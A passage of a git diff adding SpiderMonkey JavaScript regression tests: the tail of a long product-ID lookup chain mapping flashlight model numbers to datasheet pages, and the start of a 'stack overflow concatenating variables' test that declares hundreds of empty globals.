+ else if(IDText.value=="8209"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="8215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="9450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f101"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="f420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="fab4dcm"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="fl450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="k221"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="k251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="led4aa1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="sp220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="tw420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="tw450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="wp220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="wp250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
+ else if(IDText.value=="cfl420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="d410"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="d420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/premium.htm"
+ return true
+ }
+ else if(IDText.value=="fn450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in351"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="in421"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="k220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="k250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="r450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="tuf4d1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v109"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v115"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="v250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+ else if(IDText.value=="val2dl1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/work.htm"
+ return true
+ }
+
+ else if(IDText.value=="459"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="208ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="231ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1151"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1259"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1351"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="1359"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3251r"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3251wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="4212wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="4250ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="5109ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="6212wh"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="9101ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="e250y"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="e251y"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in253"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in420"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="in450"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="indwandr"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="indwandy"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="r215ind"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrial.htm"
+ return true
+ }
+ else if(IDText.value=="pr2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr3"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr4"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr6"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr7"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr12"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr13"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="pr35"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="112"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="222"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="243"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="258"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="407"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="425"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="1156"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="1651"){
+ //Checks for id entry
+ res="../datasheets/flashlights/standard.htm"
+ return true
+ }
+ else if(IDText.value=="kpr102"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr103"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr104"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr113"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr116"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="kpr802"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="skpr823"){
+ //Checks for id entry
+ res="../datasheets/flashlights/krypton.htm"
+ return true
+ }
+ else if(IDText.value=="hpr50"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr51"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr52"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="hpr53"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenbulb.htm"
+ return true
+ }
+ else if(IDText.value=="f4t5"){
+ //Checks for id entry
+ res="../datasheets/flashlights/fluorescent.htm"
+ return true
+ }
+ else if(IDText.value=="f6t5"){
+ //Checks for id entry
+ res="../datasheets/flashlights/fluorescent.htm"
+ return true
+ }
+ else if(IDText.value=="t1-1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/highintensity.htm"
+ return true
+ }
+ else if(IDText.value=="t1-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/highintensity.htm"
+ return true
+ }
+ else if(IDText.value=="t2-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="t2-3"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="t2-4"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="tx15-2"){
+ //Checks for id entry
+ res="../datasheets/flashlights/halogenxenon.htm"
+ return true
+ }
+ else if(IDText.value=="4546ib"){
+ //Checks for id entry
+ res="../datasheets/flashlights/industrialbulb.htm"
+ return true
+ }
+ else if(IDText.value=="LED"){
+ //Checks for id entry
+ res="../datasheets/flashlights/led.htm"
+ return true
+ }
+
+
+
+ else if(IDText.value=="108"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="209"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="330"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="330y"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="331"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="331y"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="1251bk"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="2253"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3233"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3253"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="3452"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="4220"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="4453"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="5154"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="5251"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="7369"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="8115"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="8415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="b170"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="bkc1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="d620"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="d820"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e252"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="e420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="em290"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="em420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f215"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="f415"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="h350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="in25t"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kcdb"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kcsg"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="kctw"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc251"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="rc290"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="t430"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="v235"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="x250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+ else if(IDText.value=="x350"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/flashlights/discontinued_flashlight_index.htm"
+ return true
+ }
+
+
+
+ else {
+ print("You have entered an Invalid Product Number...Please try 'Select Product Group' search.")
+ return false
+ }
+
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-98901.js b/js/src/tests/js1_5/Regress/regress-98901.js
new file mode 100644
index 000000000..e6203e0b6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-98901.js
@@ -0,0 +1,3892 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 98901;
+var summary = 'Stack overflow concatenating variables';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+UNID="";
+shrg="0";
+EMAL="";
+PASS="";
+PASV="";
+FNAM="";
+LNAM="";
+ADD1="";
+ADD2="";
+CITY="";
+STAT="";
+STATi=0;
+ZIPC="";
+PHON="";
+AGE2="";
+AGE2i=0;
+AGES="";
+SEXX="";
+SEXXi=-1;
+OCCU="";
+OCCUi=0;
+OCCO="";
+MODL="";
+SRNU="";
+MNTH="";
+MNTHi=0;
+YEAR="";
+YEARi=0;
+POPR="";
+POPRi=0;
+OPOP="";
+WHEN="";
+WHENi=-1;
+INFL="";
+INFLi=0;
+HM01="";
+HM02="";
+HM03="";
+HM04="";
+HM05="";
+HM06="";
+HM07="";
+HM08="";
+HM09="";
+HM10="";
+HM11="";
+HM12="";
+HM13="";
+HM14="";
+HM15="";
+HM16="";
+HM17="";
+HM18="";
+HM19="";
+HM20="";
+HM21="";
+HM22="";
+HM23="";
+HM24="";
+HS01="";
+HS02="";
+HS03="";
+HS04="";
+HS05="";
+HS06="";
+HS07="";
+HS08="";
+HS09="";
+HS10="";
+HS11="";
+HS12="";
+HS13="";
+HS14="";
+HS15="";
+HS16="";
+HS17="";
+HS18="";
+HS19="";
+HS20="";
+HS21="";
+HS22="";
+HS23="";
+HS24="";
+PL01="";
+PL01i=-1;
+PL02="";
+PL02i=-1;
+PL03="";
+PL03i=-1;
+PL04="";
+PL04i=-1;
+PL05="";
+PL05i=-1;
+PL06="";
+PL06i=-1;
+PL07="";
+PL07i=-1;
+PL08="";
+PL08i=-1;
+PL09="";
+PL09i=-1;
+PL10="";
+PL10i=-1;
+PL11="";
+PL11i=-1;
+PL12="";
+PL12i=-1;
+PL13="";
+PL13i=-1;
+PL14="";
+PL14i=-1;
+PL15="";
+PL15i=-1;
+PL16="";
+PL16i=-1;
+PL17="";
+PL17i=-1;
+PL18="";
+PL18i=-1;
+PL19="";
+PL19i=-1;
+PL20="";
+PL20i=-1;
+PL21="";
+PL21i=-1;
+PL22="";
+PL22i=-1;
+PL23="";
+PL23i=-1;
+PL24="";
+PL24i=-1;
+TVSO="";
+TVSOi=-1;
+FNDS="";
+FNDSi=-1;
+WGFT="";
+WGFTi=0;
+CE01="";
+CE01i=-1;
+CE02="";
+CE02i=-1;
+NEMA="Yes";
+NEMAi=0;
+PPUR="";
+PPURi=-1;
+PPUO="";
+CON1="";
+CON2="";
+CON3="";
+STNM="";
+STNMi=0;
+FE01="";
+FE01i=0;
+FE02="";
+FE03="";
+FE04="";
+FE05="";
+FE06="";
+FE07="";
+FE08="";
+FE09="";
+FE10="";
+FE11="";
+FE12="";
+FE13="";
+FE14="";
+FE15="";
+FE16="";
+FE17="";
+FE18="";
+FE19="";
+FE20="";
+FE21="";
+FE22="";
+FE23="";
+FE24="";
+FE25="";
+FE26="";
+FE27="";
+FE28="";
+FE29="";
+FE30="";
+FE31="";
+FE32="";
+FE33="";
+FE34="";
+FEOT="";
+NF01="";
+NF02="";
+NF03="";
+NF04="";
+NF05="";
+NF06="";
+NF07="";
+NF08="";
+NF09="";
+NF10="";
+NF11="";
+NF12="";
+NF13="";
+NF14="";
+NF15="";
+NF16="";
+NF17="";
+NF18="";
+NF19="";
+NFOT="";
+OSYS="";
+OSYSi=0;
+OSOT="";
+IMGS="";
+PBY1="";
+PBY2="";
+PBY3="";
+PBY4="";
+PBY5="";
+PBY6="";
+PBY7="";
+PBY8="";
+OPBY="";
+OWNC="";
+OWNCi=-1;
+CUSE="";
+CUSEi=-1;
+OCUS="";
+WCAM="";
+WCAMi=0;
+OC01="";
+OC02="";
+OC03="";
+OC04="";
+OC05="";
+OC06="";
+OC07="";
+OC08="";
+OC09="";
+OC10="";
+OC11="";
+CU01="";
+CU02="";
+CU03="";
+CU04="";
+CU05="";
+CU06="";
+CU07="";
+CU08="";
+CU09="";
+CU10="";
+PLYB="";
+PLYBi=0;
+CCON="";
+CCONi=0;
+BC01="";
+BC02="";
+BC03="";
+BC04="";
+BC05="";
+BC06="";
+IN01="";
+IN02="";
+IN03="";
+IN04="";
+IN05="";
+IN06="";
+IN07="";
+IN08="";
+IN09="";
+IN10="";
+IN11="";
+IN12="";
+IN13="";
+IN14="";
+IN15="";
+FI01="";
+FI02="";
+FI03="";
+FI04="";
+FI05="";
+FI06="";
+FI07="";
+FI08="";
+FI09="";
+FI10="";
+FI11="";
+FI12="";
+FI13="";
+FI14="";
+FI15="";
+FI16="";
+FI17="";
+FI18="";
+FI19="";
+FI20="";
+FI21="";
+FI22="";
+FI23="";
+FI24="";
+FI25="";
+FI26="";
+FI27="";
+FI28="";
+FI29="";
+FI30="";
+FI31="";
+FI32="";
+FI33="";
+FI34="";
+FI35="";
+FI36="";
+FI37="";
+FI38="";
+FI39="";
+FI40="";
+FI41="";
+FI42="";
+FI43="";
+FI44="";
+FI45="";
+FI46="";
+FI47="";
+FI48="";
+FI49="";
+FI50="";
+FI51="";
+FI52="";
+FI53="";
+FI54="";
+FI55="";
+FI56="";
+FI57="";
+FI58="";
+FF01="";
+FF02="";
+FF03="";
+FF04="";
+FF05="";
+FF06="";
+FF07="";
+FF08="";
+FF09="";
+FF10="";
+FF11="";
+FF12="";
+FF13="";
+FF14="";
+FF15="";
+FF16="";
+FF17="";
+FF18="";
+FF19="";
+FF20="";
+FF21="";
+FF22="";
+PPQT="";
+PPQTi=-1;
+PSQT="";
+PSQTi=-1;
+LCDQ="";
+LCDQi=-1;
+NITQ="";
+NITQi=-1;
+NTSQ="";
+NTSQi=-1;
+GENQ="";
+GENQi=-1;
+DSNQ="";
+DSNQi=-1;
+OPMQ="";
+OPMQi=-1;
+PRCQ="";
+PRCQi=-1;
+BATQ="";
+BATQi=-1;
+CMPQ="";
+CMPQi=-1;
+DSCQ="";
+DSCQi=-1;
+MSSQ="";
+MSSQi=-1;
+MSIQ="";
+MSIQi=-1;
+PGSQ="";
+PGSQi=-1;
+PCPQ="";
+PCPQi=-1;
+AO01="";
+AO02="";
+AO03="";
+AO04="";
+AO05="";
+AO06="";
+AO07="";
+AO08="";
+AO09="";
+AO10="";
+AO11="";
+AO12="";
+AO13="";
+AO14="";
+AO15="";
+AO16="";
+AO17="";
+AO18="";
+AO19="";
+AO20="";
+AO21="";
+AO22="";
+AO23="";
+AO24="";
+AO25="";
+AO26="";
+AO27="";
+AO28="";
+AO29="";
+AO30="";
+AO31="";
+AO32="";
+AO33="";
+AO34="";
+AO35="";
+IS01="";
+IS02="";
+IS03="";
+IS04="";
+IS05="";
+IS06="";
+IS07="";
+IS08="";
+IS09="";
+IS10="";
+IS11="";
+IS12="";
+IS13="";
+IS14="";
+IS15="";
+IS16="";
+IS17="";
+IS18="";
+IS19="";
+IS20="";
+IS21="";
+IS22="";
+IS23="";
+IS24="";
+IS25="";
+IS26="";
+IS27="";
+IS28="";
+IS29="";
+IS30="";
+IS31="";
+IS32="";
+IS33="";
+IS34="";
+IS35="";
+B601="";
+B602="";
+B603="";
+B604="";
+B605="";
+B606="";
+B607="";
+B608="";
+B609="";
+B610="";
+B611="";
+B612="";
+B613="";
+B614="";
+B615="";
+B616="";
+B617="";
+B618="";
+B619="";
+B620="";
+B621="";
+B622="";
+B623="";
+B624="";
+B625="";
+B626="";
+B627="";
+B628="";
+B629="";
+B630="";
+B631="";
+B632="";
+B633="";
+B634="";
+B635="";
+CTYP="";
+CTYPi=-1;
+AO36="";
+AO37="";
+IS36="";
+IS37="";
+B636="";
+B637="";
+FA01="";
+FA02="";
+FA03="";
+FA04="";
+FA05="";
+FA06="";
+FA07="";
+FA08="";
+FA09="";
+FA10="";
+FA11="";
+FA12="";
+FA13="";
+FA14="";
+FA15="";
+FA16="";
+FA17="";
+FA18="";
+FA19="";
+FA20="";
+FA21="";
+FA22="";
+FA23="";
+FA24="";
+FA25="";
+FA26="";
+FA27="";
+SI01="";
+SI02="";
+SI03="";
+SI04="";
+SI05="";
+SI06="";
+SI07="";
+SI08="";
+SI09="";
+SI10="";
+SI11="";
+SI12="";
+SI13="";
+SI14="";
+SI15="";
+SI16="";
+SI17="";
+SI18="";
+SI19="";
+SI20="";
+SI21="";
+SI22="";
+SI23="";
+SI24="";
+SI25="";
+SI26="";
+SI27="";
+SI28="";
+SI29="";
+SI30="";
+SI31="";
+SI32="";
+SI33="";
+SI34="";
+SI35="";
+SI36="";
+SI37="";
+SI38="";
+SI39="";
+SI40="";
+SI41="";
+II01="";
+II02="";
+II03="";
+II04="";
+II05="";
+II06="";
+II07="";
+II08="";
+II09="";
+II10="";
+II11="";
+OB01="";
+OB02="";
+OB03="";
+OB04="";
+PUCO="";
+SF01="";
+SF02="";
+SF03="";
+SF04="";
+SF05="";
+SF06="";
+SF07="";
+SF08="";
+SF09="";
+SF10="";
+SF11="";
+SF12="";
+SF13="";
+SF14="";
+SF15="";
+SF16="";
+SF17="";
+SF18="";
+SF19="";
+SF20="";
+SF21="";
+SF22="";
+SF23="";
+SF24="";
+SF25="";
+SF26="";
+SF27="";
+SF28="";
+SF29="";
+SF30="";
+SF31="";
+SF32="";
+SF33="";
+SF34="";
+SF35="";
